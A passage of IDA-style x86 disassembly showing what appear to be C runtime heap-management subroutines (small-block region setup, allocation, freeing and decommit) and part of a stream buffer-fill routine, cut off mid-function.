		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------

loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi

loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------

loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax

loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A2E0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A2D0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------

loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3

loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A2D0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A2D0, 0
		jnz	short loc_41E9F6
		mov	off_43A2D0, eax

loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A2D4, 0
		jnz	short loc_41EA1B
		mov	off_43A2D4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------

loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A2D4
		mov	[esi+4], eax
		mov	off_43A2D4, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------

loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 289065Dh

loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2790000h

loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax

loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 289065Dh
		cmp	off_43C2F0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C2F0, eax

loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC904
		nop
		call	near ptr 2790000h
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A2E0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A2D4
		push	edi

loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 289065Dh
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB2F4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F

loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi

loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84

loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36

loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B

loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx

loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A2D4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D

loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A2D0
		push	esi
		mov	ecx, edx

loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0

loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------

loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB2F4
		cmp	dword_4DB2F4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C2F0
		push	edi

loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1

loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------

loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]

loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A

loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx

loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------

loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]

loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C2F0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------

loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C2F0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------

loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A2D0
		mov	edi, eax

loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68

loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------

loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97

loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86

loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 28907B0h
		nop
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4

loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C2F0, edi
		lea	eax, [edi+2018h]

loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------

loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax

loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C2F0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax

loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------

loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------

loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi

loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E

loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------

loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------

loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93

loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------

loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi

loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB

loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]

loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------

loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------

loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------

loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------

loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------

loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax

loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------

loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]

loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------

loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi

loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021

loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A

loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------

loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1

loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------

loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------

loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC5C0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------

loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C950

loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
